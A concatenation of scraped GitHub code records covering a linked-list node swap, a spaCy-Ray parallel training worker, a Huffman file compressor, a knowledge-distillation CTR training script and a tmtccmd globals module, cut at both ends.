\" \")\r\n node = node.next\r\n print(\" \")\r\n \r\n\r\n# Function to add a node at the beginning of a list\r\n \r\n def push(head_ref, new_data):\r\n\r\n # allocate node\r\n (head_ref) = Node(new_data, head_ref)\r\n return head_ref\r\n\r\n def swapNodes(head_ref, x, y):\r\n head = head_ref\r\n\r\n # Nothing to do if x and y are same\r\n if (x == y):\r\n return None\r\n\r\n a = None\r\n b = None\r\n\r\n\r\n # search for x and y in the linkedlist and store their pointer in a and b\r\n while (head_ref.next != None):\r\n\r\n if ((head_ref.next).data == x):\r\n a = head_ref\r\n\r\n elif ((head_ref.next).data == y):\r\n b = head_ref \r\n\r\n head_ref = ((head_ref).next)\r\n\r\n\r\n # if we have found both a and b in the linkedlist swap current pointer and next pointer of these\r\n if (a != None and b != None):\r\n temp = a.next\r\n a.next = b.next\r\n b.next = temp\r\n temp = a.next.next \r\n a.next.next = b.next.next\r\n b.next.next = temp\r\n\r\n return head\r\n \r\n\r\n # Driver code\r\n start = None\r\n\r\n start = push(start,7)\r\n start = push(start,6)\r\n start = push(start,5)\r\n start = push(start,4)\r\n start = push(start,3)\r\n start = push(start,2)\r\n start = push(start,1)\r\n \r\n print(\"Linked list before swapping : \") \r\n start.printlist()\r\n\r\n start = swapNodes(start,2,6)\r\n\r\n print(\"Linked list after swapping : \") \r\n start.printlist()\r\n","repo_name":"desaivaibhav95/Object-Oriented-Programming-Python-","sub_path":"Linked Lists/swap_nodes_in_linkedlist_simpler_approach.py","file_name":"swap_nodes_in_linkedlist_simpler_approach.py","file_ext":"py","file_size_in_byte":2102,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71249623849","text":"from typing import List, Dict, Union, Any, Optional\nimport time\nimport os\nimport threading\nfrom pathlib import Path\nfrom thinc.config import Config\nfrom thinc.types import FloatsXd\nfrom spacy.cli._util import import_code\nfrom spacy.training.loop import train_while_improving, create_train_batches\nfrom spacy.training.loop import create_evaluation_callback\nfrom spacy.training.loop import create_before_to_disk_callback\nfrom spacy.training.loop import update_meta\nfrom spacy.training.initialize import init_nlp\nfrom spacy.language import Language\nfrom spacy.util import registry, logger, resolve_dot_names\nfrom spacy.schemas import ConfigSchemaTraining\nfrom thinc.api import require_gpu, set_gpu_allocator\n\nfrom .proxies import RayPeerProxy\nfrom .util import set_params_proxy, divide_params, KeyT\n\n\nclass Worker:\n \"\"\"Actor class for spaCy parallel training.\n\n Okay this is pretty mind-bending stuff...But the idea is that the remote\n workers need to communicate directly, to avoid extra copies. The mechanics\n of this are super twisted though, because it mixes all sorts of levels. But\n it has the be *exactly this* worker object that is passed through, because\n we need the remote actor. That's why it's so strange.\n\n The workers install a \"proxy\" object into the Thinc models. When this object\n is installed, Thinc will direct calls to get_param, inc_grad, set_param etc\n through the proxy.\n\n On each worker, a subset of the weights will be \"local\". The proxy will\n receive a list of the keys that are local, and a mapping of keys to workers.\n\n Workers optimize the parameters that are 'local' to them, and then push\n the updates to the other workers. For parameters that aren't local, they\n find the worker that owns that parameter, and publish the gradient to it.\n\n This strategy is non-blocking, because the gradients and the parameters\n are both pushed, not pulled.\n\n In order to make this work, we need some concurrency within the workers,\n because the workers need to be listening for updates while continuing to\n work. Currently this is implemented by putting the main training work\n on a thread, and letting the main thread continue to listen for connections.\n\n Finally, not that there's a pretty tangled circular reference here. I hate\n circular references, it makes the code hard to understand and makes\n Python use GC. But the circular reference here is necessary:\n\n * Workers hold a reference to the nlp object. Within the nlp object, models\n hold references to the \"proxy\" object.\n * The proxy object holds a reference to the peer mapping, whose values are\n the workers.\n \"\"\"\n\n rank: int\n num_workers: int\n gpu_id: int\n nlp: Language\n config: Union[Dict[str, Any], Config]\n proxy: Optional[RayPeerProxy]\n thread: Optional[threading.Thread]\n _results: List\n _evaluation_callback: Any\n\n def __init__(\n self,\n config: Config,\n *,\n rank: int = 0,\n num_workers: int = 1,\n use_gpu: int = 0,\n code_path: Optional[Path] = None,\n ray=None,\n ):\n if ray is None:\n # Avoid importing ray in the module. This allows a test-ray to\n # be passed in, and speeds up the CLI.\n import ray # type: ignore\n\n self.ray = ray\n import_code(code_path)\n self.rank = rank\n self.num_workers = num_workers\n self.gpu_id = self._resolve_gpu(use_gpu)\n self.nlp = init_nlp(Config(config), use_gpu=self.gpu_id)\n config = self.nlp.config.interpolate()\n self.T = registry.resolve(config[\"training\"], schema=ConfigSchemaTraining)\n dot_names = [self.T[\"train_corpus\"], self.T[\"dev_corpus\"]]\n self.train_corpus, self.dev_corpus = resolve_dot_names(config, dot_names)\n self.before_to_disk = create_before_to_disk_callback(self.T[\"before_to_disk\"])\n allocator = self.T[\"gpu_allocator\"]\n if use_gpu >= 0 and allocator:\n set_gpu_allocator(allocator)\n self._evaluation_callback = lambda: {}\n self._results = []\n self._has_evaluation_callback = False\n self.thread = None\n self.proxy = None\n self.n_grads_used = 0\n self.n_grads_discarded = 0\n\n ########################################################################\n # Inter-worker communication\n #\n # It'd be nice to have this stuff in a different object, but we need\n # to pass the actual 'actor' handle around, we can't use a shared reference.\n # And if we made another actor, it would run within a different process.\n #\n #########################################################################\n\n def inc_grad(self, key: KeyT, version: int, value: FloatsXd) -> None:\n if self.proxy is None:\n raise ValueError(\"Proxy object not set\")\n if self.proxy.check_version(key, version):\n self.proxy.inc_grad(key[0], key[1], value)\n\n def set_param(self, key: KeyT, version: int, value: FloatsXd) -> Optional[FloatsXd]:\n return self.proxy.receive_param(key, version, value)\n\n def get_param(self, key: KeyT, version: int) -> Optional[FloatsXd]:\n if self.proxy is None:\n raise ValueError(\"Proxy object not set\")\n elif self.proxy.check_version(key, version):\n return self.proxy.get_param(key[0], key[1])\n else:\n return None\n\n #########################################################################\n # Process control. These are used by the script or function coordinating\n # the work.\n #\n ########################################################################\n\n def sync_params(self):\n for key in self.proxy._owned_keys:\n self.proxy.send_param(key)\n\n def get_percent_grads_used(self):\n total = self.n_grads_used + self.n_grads_discarded\n if total == 0:\n return None\n else:\n return self.n_grads_used / total\n\n def get_quorum(self) -> int:\n # Default to setting the 'quorum' to be the number of workers multiplied\n # by the accumulate_gradient value. This is how many gradients for a\n # parameter we will accumulate before running the optimizer.\n return self.num_workers * self.T[\"accumulate_gradient\"]\n\n def train(self, peers: List, evaluator: \"Evaluator\") -> None:\n def evaluate():\n if self.rank == 0:\n scores = self.evaluate()\n self.ray.get(evaluator.set_scores.remote(scores))\n return scores\n else:\n scores = None\n while scores is None:\n time.sleep(5)\n scores = self.ray.get(evaluator.get_scores.remote())\n return scores\n\n train_batches = create_train_batches(\n self.nlp,\n self.train_corpus,\n self.T[\"batcher\"],\n self.T[\"max_epochs\"],\n )\n training_step_iterator = train_while_improving(\n self.nlp,\n FakeOptimizer(),\n train_batches,\n evaluate=evaluate,\n dropout=self.T[\"dropout\"],\n accumulate_gradient=1,\n patience=self.T[\"patience\"],\n max_steps=self.T[\"max_steps\"],\n eval_frequency=self.T[\"eval_frequency\"],\n exclude=self.T[\"frozen_components\"],\n annotating_components=self.T[\"annotating_components\"],\n before_update=self.T[\"before_update\"],\n )\n if self.rank == 0:\n print_row, finalize_logger = self.T[\"logger\"](self.nlp)\n else:\n print_row = lambda: None\n self.thread = threading.Thread(\n target=thread_training,\n args=(\n training_step_iterator,\n print_row,\n self.rank,\n self.num_workers,\n self.gpu_id,\n ),\n )\n self.thread.start()\n\n def is_running(self):\n return self.thread.is_alive()\n\n def evaluate(self) -> Dict[str, Union[Dict[str, float], float]]:\n if not self._has_evaluation_callback:\n self._evaluation_callback = create_evaluation_callback(\n self.nlp,\n self.dev_corpus,\n self.T[\"score_weights\"],\n )\n self._has_evaluation_callback = True\n return self._evaluation_callback()\n\n def save_checkpoint(self, info: Dict, output_path: Path) -> None:\n with self.nlp.select_pipes(disable=self.T[\"frozen_components\"]):\n update_meta(self.T, self.nlp, info)\n self.before_to_disk(self.nlp).to_disk(output_path)\n\n def get_owned_keys(self):\n owned_keys = []\n for name, component in self.nlp.pipeline:\n if hasattr(component, \"model\"):\n worker_keys = divide_params(component.model, self.num_workers)\n owned_keys.extend(worker_keys[self.rank])\n return owned_keys\n\n def get_peer_map(self, workers):\n peer_map = {}\n for name, component in self.nlp.pipeline:\n if hasattr(component, \"model\"):\n worker_keys = divide_params(component.model, self.num_workers)\n for worker, keys in zip(workers, worker_keys):\n for key in keys:\n peer_map[key] = worker\n return peer_map\n\n def set_proxy(self, peers) -> None:\n proxy = RayPeerProxy(\n self.get_peer_map(peers),\n self.T[\"optimizer\"],\n self.get_owned_keys(),\n ray=self.ray,\n )\n for name, component in self.nlp.pipeline:\n if hasattr(component, \"model\"):\n set_params_proxy(component.model, proxy)\n self.proxy = proxy\n\n def _resolve_gpu(self, use_gpu: int) -> int:\n if use_gpu >= 0:\n gpu_id = int(os.environ.get(\"CUDA_VISIBLE_DEVICES\", -1))\n logger.info(f\"Using GPU (isolated): {gpu_id}\")\n require_gpu(0)\n else:\n logger.info(\"Using CPU\")\n gpu_id = -1\n return gpu_id\n\n\nclass FakeOptimizer:\n def __init__(self):\n self.averages = {}\n\n def __call__(self, key, weights, gradient):\n # This shouldn't be called, because when we have the parameter proxy\n # installed, the gradients should never appear, and the `has_grad`\n # check in `model.finish_update` should return False.\n # However, it's difficult to guarantee that for all subclasses and shims\n # so it's safer to noop instead of raising.\n return weights, gradient\n\n def step_schedules(self):\n pass\n\n\nclass Evaluator:\n \"\"\"Share evaluation results between workers.\n\n One worker should publish evaluation results to the evaluator,\n while the other workers should retrieve them (using a wait-loop if\n necessary).\n \"\"\"\n\n def __init__(self):\n self.scores = []\n\n def set_scores(self, scores):\n self.scores.append(scores)\n return scores\n\n def get_scores(self):\n if not self.scores:\n return None\n else:\n return self.scores[-1]\n\n\ndef thread_training(training_step_iterator, print_row, rank, num_workers, gpu_id):\n if gpu_id >= 0:\n # I don't fully understand why we need to do this within the thread.\n # I think 0 is also correct here, because ray sets the available devices?\n require_gpu(0)\n for batch, info, is_best_checkpoint in training_step_iterator:\n if rank == 0 and is_best_checkpoint is not None:\n info[\"words\"] *= num_workers\n print_row(info)\n","repo_name":"explosion/spacy-ray","sub_path":"spacy_ray/worker.py","file_name":"worker.py","file_ext":"py","file_size_in_byte":11659,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"53"} +{"seq_id":"28550512647","text":"from HuffmanTree import HuffmanTree\nimport HuffmanHeaders\nimport time, os\n\n\nclass HuffmanCompressor(object):\n\n\tdef __init__(self):\n\n\t\tself.encoded_txt = \"\"\n\t\tself.encoded_tree = bytearray()\n\t\tself.compression_bytes = bytearray()\n\n\n\n\tdef get_encoded_txt(self, txt, codes):\n\n\t\t'''\n\t\ttxt(str) , codes(dict) -> encoded_txt(str)\n\n\t\t------------\n\t\tThis Function convertes plain text \"txt\" into encoded \n\t\ttext using Huffman Coding \"codes\"\n\n\t\t'''\n\n\t\tself.encoded_txt = ''.join([codes[ch] for ch in txt])\n\n\t\treturn self.encoded_txt\n\n\n\n\tdef encoded_arr(self, encoded_txt, encoded_tree, filename):\n\n\t\t'''\n\t\tencoded_txt(str), encoded_tree(str), filename(str) -> comp_arr(bytearray)\n\n\t\t------------\n\t\tThis Function takes the Huffman encoded file, the encoding tree and \n\t\tfilename to produce a bytearray consists of a header for the file so\n\t\twe can decompress it later along side with encoded file to get the \n\t\tcompressed array of the given file\n\n\n\t\theader format\n\t\t-------------\n\t\t[0] byte: Number of trailing zero\n\t\t[1 : 5] bytes: length of encoded tree\n\t\t[5 : n] bytes: encoded tree\n\t\t[n : m] bytes: file name length + filename + file extension length + file extension\n\t\t\t\tHuffmanHeaders.file_header()\n\t\t[m : l] bytes: encode file length (5 bytes)\n\t\t[l : k] bytes: encoded file\n\t\t'''\n\n\t\ttrail = 8 - len(encoded_txt) % 8\n\t\tif trail:\n\t\t\tencoded_txt += \"0\"*trail\n\n\t\t\n\t\tcomp_arr = bytearray()\n\t\t# first byte : number oftrailling 0s \n\t\tcomp_arr.append(trail)\n\n\t\t# 2->5 bytes : length of encode tree\n\t\t# 5 -> n : encode tree\n\t\ttree_arr = len(encoded_tree).to_bytes(4, byteorder=\"little\")\n\t\tcomp_arr.extend(tree_arr)\n\t\tcomp_arr.extend(self.encoded_tree)\n\n\t\t# n-> m : file name and file extention\n\t\tcomp_arr.extend(HuffmanHeaders.file_header(filename))\n\n\t\t# m -> m+5 : length file \n\t\t# m+5-> m + 5 + length file : encoded file \n\t\tdata_arr = bytearray()\n\n\t\tdata_arr.extend(int(encoded_txt,2).to_bytes((len(encoded_txt))//8, byteorder=\"little\"))\n\t\tln = len(data_arr).to_bytes(5, byteorder=\"little\")\n\t\t\n\t\tcomp_arr.extend(ln)\n\t\tcomp_arr.extend(data_arr)\n\n\t\treturn comp_arr\n\n\n\n\tdef compress_file(self, filename):\n\n\t\t'''\n\t\tfilename(str) -> encode_arr(bytearray)\n\n\t\t------------\n\t\tThis Function takes file name and returns its Huffman\n\t\tencode bytes array.\n\t\t'''\n\n\t\twith open(filename, \"rb\") as src:\n\n\t\t\ttxt = src.read()\n\n\t\t\ttree = HuffmanTree()\n\t\t\tcodes , self.encoded_tree = tree.huffman_coding(txt)\n\t\t\t# print(codes)\n\t\t\tself.get_encoded_txt(txt, codes)\n\n\t\tsrc.close()\n\n\t\treturn self.encoded_arr(self.encoded_txt, self.encoded_tree, filename)\n\n\n\n\tdef compress_files(self, filename, path=\".\"):\n\n\t\t'''\n\t\tfilename(str), path(str) -> void\n\n\t\t-------------\n\t\tThis function gets file/directory and its relatuve \n\t\tpath (optional) traversing all files of directory \n\t\tto compress or compress in case of file\n\t\t'''\n\n\t\tif filename is None : filename = path\n\t\n\t\tfilename = path + \"/\" + filename\n\t\t\n\t\tif (os.path.isdir(filename)) :\n\n\t\t\tdir_array = bytearray()\n\n\t\t\tdir_header, files = HuffmanHeaders.dir_header(filename)\n\t\t\tdir_array.extend(dir_header)\n\n\t\t\tself.compression_bytes.extend(dir_array)\n\n\t\t\tfor file in files :\n\t\t\t\tself.compress_files(file, filename)\n\n\t\telse:\n\n\t\t\tself.compression_bytes.extend(self.compress_file(filename))\n\n\n\tdef compress(self, filename):\n\n\t\t'''\n\t\tfilename(str) -> time(time), output(str)\n\n\t\t--------------\n\t\tThis function takes file/directory name or path \n\t\tto compress and returns the execution time of \n\t\tcompression and output compressed file name (.huffman)\n\t\t'''\n\n\t\tt1 = time.time()\n\n\t\tself.compress_files(filename)\n\n\t\toutput, ext = HuffmanHeaders.filename_split(filename)\n\n\t\twith open(output + \".huffman\", \"wb\") as dest:\n\t\t\tdest.write(self.compression_bytes)\n\n\t\tdest.close()\n\n\t\tt2 = time.time()\n\n\t\treturn (t2-t1), output+\".huffman\"\n","repo_name":"MMagdys/Huffman-Coding","sub_path":"HuffmanCompressor.py","file_name":"HuffmanCompressor.py","file_ext":"py","file_size_in_byte":3737,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"41227395929","text":"import os\nimport sys\nimport torch\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader, TensorDataset\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nimport torch.nn.functional as F\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.utils import shuffle\nimport numpy as np\nfrom model.Wide_Deep_CE import Wide_Deep, Controller\nfrom argparse import ArgumentParser\nfrom utils import EarlyStopping\nfrom sklearn.metrics import log_loss, roc_auc_score\nfrom sklearn.preprocessing import LabelEncoder, MinMaxScaler\n# from torchmetrics.classification import BinaryAccuracy\nfrom helper.evaluation import compute_metrics\nfrom torchmetrics import Accuracy\nfrom prettytable import PrettyTable\n\nfrom imblearn.over_sampling import RandomOverSampler\n\n# define the oversampling object\noversampler = RandomOverSampler()\n\n\ndef sigmoid(x):\n return 1 / (1 + np.exp(-x))\n\n\ndef parse_args():\n parser = ArgumentParser(description=\"KD\")\n parser.add_argument(\"--data_name\", type=str, default=\"criteo\")\n\n # parser.add_argument('--val_ratio', type=float, default=0.1)\n # parser.add_argument('--test_ratio', type=float, default=0.3)\n parser.add_argument('--gpu_id', type=int, default=-1)\n parser.add_argument('--is_logging', type=bool, default=False)\n # Seed\n parser.add_argument('--seed', type=int, default=2023, help=\"Seed (For reproducability)\")\n # Model\n parser.add_argument(\"--model_name\", type=str, default=\"Wide_Deep\")\n parser.add_argument('--dim', type=int, default=16, help=\"Dimension for embedding\")\n parser.add_argument('--dnn_hidden_units', nargs='+', type=int, default=[64, 32], help='hidden layer dimensions')\n parser.add_argument('--alpha', type=float, default=0.7, help=\"trade-off on teacher\")\n parser.add_argument('--temp', type=float, default=2.0, help=\"temperature\")\n parser.add_argument('--state_type', type=int, default=1, help=\"state\")\n # Optimizer\n parser.add_argument('--lr', type=float, default=1e-3, help=\"Learning rate\")\n parser.add_argument('--wd', type=float, default=1e-2, help=\"Weight decay factor\")\n # Training\n parser.add_argument('--n_epochs', type=int, default=1000, help=\"Number of epoch during training\")\n parser.add_argument('--every', type=int, default=1,\n help=\"Period for evaluating precision and recall during training\")\n parser.add_argument('--patience', type=int, default=20, help=\"patience\")\n parser.add_argument('--batch_size', type=int, default=1024, help=\"batch_size\")\n\n return parser.parse_args()\n\n\ndef onehot_matrix(binary_vector):\n num_rows = len(binary_vector)\n one_hot_matrix = np.zeros((num_rows, 2))\n one_hot_matrix[np.arange(num_rows), binary_vector] = 1\n return torch.tensor(one_hot_matrix).float()\n\ndef generate_controller_state(value_s, value_t, value_g, value_o, state_type):\n if state_type == 1:\n return torch.cat((\n value_s, value_t, value_g,\n ), dim=1)\n elif state_type == 2:\n return torch.cat((\n torch.pow(value_s - value_t, 2),\n torch.pow(value_t - value_g, 2),\n torch.pow(value_g - value_s, 2),\n ), dim=1)\n elif state_type == 3:\n return torch.cat((\n value_s, value_t, value_g,\n torch.pow(value_s - value_t, 2),\n torch.pow(value_t - value_g, 2),\n torch.pow(value_g - value_s, 2),\n ), dim=1)\n\ndef train(args):\n os.chdir('/Users/../Research_project/KD_tradeoff/')\n print(os.getcwd())\n path = 'data_raw/{}/'.format(args.data_name)\n if args.data_name == 'criteo':\n sparse_feature = ['C' + str(i) for i in range(1, 27)]\n dense_feature = ['I' + str(i) for i in range(1, 14)]\n col_names = ['label'] + dense_feature + sparse_feature\n print(\"col_names:\", col_names)\n df = pd.read_csv(path + 'dac_sample.txt', names=col_names, sep='\\t')\n\n df[sparse_feature] = df[sparse_feature].fillna('-1', )\n df[dense_feature] = df[dense_feature].fillna('0', )\n\n feat_sizes = {}\n feat_sizes_dense = {feat: 1 for feat in dense_feature}\n feat_sizes_sparse = {feat: len(df[feat].unique()) for feat in sparse_feature}\n feat_sizes.update(feat_sizes_dense)\n feat_sizes.update(feat_sizes_sparse)\n\n for feat in sparse_feature:\n lbe = LabelEncoder()\n df[feat] = lbe.fit_transform(df[feat])\n nms = MinMaxScaler(feature_range=(0, 1))\n df[dense_feature] = nms.fit_transform(df[dense_feature])\n\n fixlen_feature_columns = [(feat, 'sparse') for feat in sparse_feature] + [(feat, 'dense') for feat in\n dense_feature]\n dnn_feature_columns = fixlen_feature_columns\n linear_feature_columns = fixlen_feature_columns\n\n x, y = df.iloc[:, 1:], df.iloc[:, 0]\n\n x_train_val, x_test, y_train_val, y_test = train_test_split(x, y, test_size=0.2, random_state=args.seed)\n x_train, x_val, y_train, y_val = train_test_split(x_train_val, y_train_val, test_size=0.1,\n random_state=args.seed)\n\n x_train_t, x_train_s, y_train_t, y_train_s = train_test_split(x_train, y_train, test_size=0.3,\n random_state=args.seed)\n x_val_t, x_val_s, y_val_t, y_val_s = train_test_split(x_val, y_val, test_size=0.3,\n random_state=args.seed)\n\n x_train, y_train = oversampler.fit_resample(x_train_s, y_train_s)\n x_val, y_val = x_val_s, y_val_s\n\n # x_val, x_test, y_val, y_test = train_test_split(x_val_test, y_val_test, test_size=0.5, random_state=args.seed)\n\n print(\"y_train:\", len(y_train), y_train.sum())\n print(\"y_val:\", len(y_val), y_val.sum())\n print(\"y_test:\", len(y_test), y_test.sum())\n # np.savetxt('./saved/{}/gt_label_train.txt'.format(args.data_name), np.array(y_train.to_numpy()), delimiter=',')\n # np.savetxt('./saved/{}/gt_label_val.txt'.format(args.data_name), np.array(y_val.to_numpy()), delimiter=',')\n # np.savetxt('./saved/{}/gt_label_test.txt'.format(args.data_name), np.array(y_test.to_numpy()), delimiter=',')\n\n print(\"x_train shape:{}, y_train shape{}\".format(x_train.shape, y_train.shape))\n print(\"x_val shape:{}, y_val shape{}\".format(x_val.shape, y_val.shape))\n print(\"x_test shape:{}, y_test shape{}\".format(x_test.shape, y_test.shape))\n\n train_dataset_raw = TensorDataset(torch.from_numpy(np.array(x_train)), torch.from_numpy(np.array(y_train)))\n val_dataset = TensorDataset(torch.from_numpy(np.array(x_val)), torch.from_numpy(np.array(y_val)))\n test_dataset = TensorDataset(torch.from_numpy(np.array(x_test)), torch.from_numpy(np.array(y_test)))\n\n train_dataloader_raw = DataLoader(train_dataset_raw, shuffle=False, batch_size=args.batch_size)\n val_dataloader = DataLoader(val_dataset, shuffle=False, batch_size=args.batch_size)\n test_dataloader = DataLoader(test_dataset, shuffle=False, batch_size=args.batch_size)\n\n # load teacher logits\n teacher_dnn_hidden_units = [64, 64]\n hidden_units_str = '_'.join(map(str, teacher_dnn_hidden_units))\n model_teacher = Wide_Deep(feat_sizes, args.dim, linear_feature_columns, dnn_feature_columns,\n teacher_dnn_hidden_units).to(\n args.device)\n saved_teacher_path = './saved/{}/model_{}/teacher_dim{}_CE_{}.pt'.format(args.data_name, args.model_name, args.dim,\n hidden_units_str)\n model_teacher.load_state_dict(torch.load(saved_teacher_path))\n true_label = []\n teacher_logits = []\n for x, y in train_dataloader_raw:\n x, y = x.to(args.device).float(), y.to(args.device).long()\n y_pre = model_teacher(x)\n true_label.extend(y.tolist())\n teacher_logits.extend(y_pre.tolist())\n\n print(\"true_label:\", np.shape(true_label))\n print(\"teacher_logits:\", np.shape(teacher_logits))\n\n\n train_dataset = TensorDataset(torch.from_numpy(np.array(x_train)), torch.from_numpy(np.array(y_train)),\n torch.from_numpy(np.array(teacher_logits)))\n train_dataloader = DataLoader(train_dataset, shuffle=True, batch_size=args.batch_size)\n\n # num_users, num_items = max(df[0]) + 1, max(df[1]) + 1\n print(\"args.dnn_hidden_units:\", args.dnn_hidden_units)\n if args.model_name == 'Wide_Deep':\n model = Wide_Deep(feat_sizes, args.dim, linear_feature_columns, dnn_feature_columns, args.dnn_hidden_units).to(\n args.device)\n\n if args.state_type in [1, 2]:\n in_dim = 6\n elif args.state_type in [3]:\n in_dim = 12\n controller = Controller(in_dim, args.device).to(args.device)\n\n model_optimizer = torch.optim.Adam(model.parameters(),\n lr=args.lr,\n weight_decay=args.wd)\n controller_optimizer = torch.optim.Adam(controller.parameters(),\n lr=args.lr,\n weight_decay=args.wd)\n\n loss_func = torch.nn.CrossEntropyLoss(reduction='none').to(args.device)\n\n saved_path = './saved/{}/model_{}/student_dim{}_CE_state{}.pt'.format(args.data_name, args.model_name, args.dim,\n args.state)\n early_stopping = EarlyStopping(patience=args.patience, verbose=True, path=saved_path)\n\n for epoch in range(args.n_epochs):\n model.train()\n total_loss, total_len = 0, 0\n total_GT_loss, total_KD_loss = 0, 0\n for x, y_g, y_t in train_dataloader:\n x, y_g, y_t = x.to(args.device).float(), y_g.to(args.device).long(), y_t.to(\n args.device).float()\n\n y_pre = model(x)\n\n value_s = F.softmax(y_pre / args.temp, dim=1)\n value_t = F.softmax(y_t / args.temp, dim=1)\n value_g = onehot_matrix(y_g)\n value_o = value_t\n\n # print(\"value_s:\", value_s[:5])\n # print(\"value_t:\", value_t[:5])\n # print(\"value_g:\", value_g[:5])\n\n state = generate_controller_state(value_s, value_t, value_g, value_o, args.state_type)\n\n trade_off = controller(state).squeeze()\n loss_GT = loss_func(y_pre, y_g)\n loss_KD = F.kl_div(F.log_softmax(y_pre / args.temp, dim=1), F.softmax(y_t / args.temp, dim=1),\n reduction='none').sum(1)\n loss = (1 - trade_off) * loss_GT + trade_off * args.temp ** 2 * loss_KD\n loss = torch.mean(loss)\n\n model_optimizer.zero_grad()\n controller_optimizer.zero_grad()\n loss.backward()\n model_optimizer.step()\n controller_optimizer.step()\n\n total_loss += loss.item() * len(y_g)\n total_GT_loss += loss_GT.mean().item() * len(y_g)\n total_KD_loss += loss_KD.mean().item() * len(y_g)\n total_len += len(y_g)\n train_loss = total_loss / total_len\n total_GT_loss = total_GT_loss / total_len\n total_KD_loss = total_KD_loss / total_len\n print(\"epoch {}, train loss is {:.6f}\".format(epoch, train_loss))\n print(\"fuion ratio:\", torch.max(trade_off), torch.mean(trade_off), torch.min(trade_off))\n # print(\"train_loss:\", train_loss)\n # print(\"total_GT_loss:\", total_GT_loss)\n # print(\"total_KD_loss:\", total_KD_loss)\n print(\"-------------------------------\")\n\n if epoch % args.every == 0:\n model.eval()\n with torch.no_grad():\n valid_acc, valid_auc, valid_nll = compute_metrics(model, val_dataloader, args.device)\n early_stopping(valid_auc, model)\n\n if early_stopping.early_stop:\n print(\"Early stopping\")\n\n break\n\n model.load_state_dict(torch.load(saved_path))\n acc, auc, nll = compute_metrics(model, test_dataloader, args.device)\n\n return acc, auc, nll\n\n\nif __name__ == '__main__':\n args = parse_args()\n args.device = torch.device('cuda:' + str(args.gpu_id) if torch.cuda.is_available() else 'cpu')\n print(\"device:\", args.device)\n\n state_list = [1, 2, 3]\n dnn_hidden_units_list = [\n [64, 64]\n ]\n result_table = PrettyTable(['Dataset', 'state', 'hidden_units', 'acc', 'auc', 'nll'])\n for state in state_list:\n for dnn_hidden_units in dnn_hidden_units_list:\n args.state = state\n args.dnn_hidden_units = dnn_hidden_units\n acc, auc, nll = train(args)\n result_table.add_row([args.data_name, args.state, dnn_hidden_units, acc, auc, nll])\n\n print(result_table)\n","repo_name":"Chengming0501/TGeo-KD","sub_path":"Criteo/run_code/CE/main_wide&deep_student_MLP.py","file_name":"main_wide&deep_student_MLP.py","file_ext":"py","file_size_in_byte":12795,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"19748673979","text":"import collections.abc\nimport enum\nimport logging\nimport pprint\n\nimport deprecation\nfrom spacepackets.ecss.conf import (\n set_default_tc_apid,\n set_default_tm_apid,\n)\n\nfrom tmtccmd.core.globals_manager import update_global, get_global\nfrom tmtccmd.config.defs import (\n CoreModeList,\n CoreServiceList,\n CORE_COM_IF_DICT,\n CoreComInterfaces,\n ComIfDictT,\n)\nfrom tmtccmd.config.tmtc import TmtcDefinitionWrapper\nfrom tmtccmd.version import get_version\n\nDEF_WRAPPER = None\n\n\nclass CoreGlobalIds(enum.IntEnum):\n \"\"\"\n Numbers from 128 to 200 are reserved for core globals\n \"\"\"\n\n # Object handles\n TMTC_HOOK = 128\n COM_INTERFACE_HANDLE = 129\n TM_LISTENER_HANDLE = 130\n TMTC_PRINTER_HANDLE = 131\n TM_HANDLER_HANDLE = 132\n PRETTY_PRINTER = 133\n\n # Parameters\n JSON_CFG_PATH = 139\n MODE = 141\n CURRENT_SERVICE = 142\n COM_IF = 144\n OP_CODE = 145\n TM_TIMEOUT = 146\n SERVICE_OP_CODE_DICT = 147\n COM_IF_DICT = 148\n\n # Miscellaneous\n DISPLAY_MODE = 150\n USE_LISTENER_AFTER_OP = 151\n PRINT_HK = 152\n PRINT_TM = 153\n PRINT_RAW_TM = 154\n PRINT_TO_FILE = 155\n RESEND_TC = 156\n TC_SEND_TIMEOUT_FACTOR = 157\n\n # Config dictionaries\n USE_SERIAL = 160\n SERIAL_CONFIG = 161\n USE_ETHERNET = 162\n ETHERNET_CONFIG = 163\n END = 300\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef set_json_cfg_path(json_cfg_path: str):\n update_global(CoreGlobalIds.JSON_CFG_PATH, json_cfg_path)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef get_json_cfg_path() -> str:\n return get_global(CoreGlobalIds.JSON_CFG_PATH)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef set_glob_com_if_dict(custom_com_if_dict: ComIfDictT):\n CORE_COM_IF_DICT.update(custom_com_if_dict)\n update_global(CoreGlobalIds.COM_IF_DICT, CORE_COM_IF_DICT)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef get_glob_com_if_dict() -> ComIfDictT:\n return get_global(CoreGlobalIds.COM_IF_DICT)\n\n\n@deprecation.deprecated(deprecated_in=\"6.0.0rc0\", current_version=get_version())\ndef set_default_globals_pre_args_parsing(\n apid: int,\n com_if_id: str = CoreComInterfaces.DUMMY.value,\n custom_com_if_dict=None,\n display_mode=\"long\",\n tm_timeout: float = 4.0,\n print_to_file: bool = True,\n tc_send_timeout_factor: float = 2.0,\n):\n if custom_com_if_dict is None:\n custom_com_if_dict = dict()\n set_default_tc_apid(tc_apid=apid)\n set_default_tm_apid(tm_apid=apid)\n update_global(CoreGlobalIds.COM_IF, com_if_id)\n update_global(CoreGlobalIds.TC_SEND_TIMEOUT_FACTOR, tc_send_timeout_factor)\n update_global(CoreGlobalIds.TM_TIMEOUT, tm_timeout)\n update_global(CoreGlobalIds.DISPLAY_MODE, display_mode)\n update_global(CoreGlobalIds.PRINT_TO_FILE, print_to_file)\n update_global(CoreGlobalIds.CURRENT_SERVICE, CoreServiceList.SERVICE_17.value)\n update_global(CoreGlobalIds.SERIAL_CONFIG, dict())\n update_global(CoreGlobalIds.ETHERNET_CONFIG, dict())\n 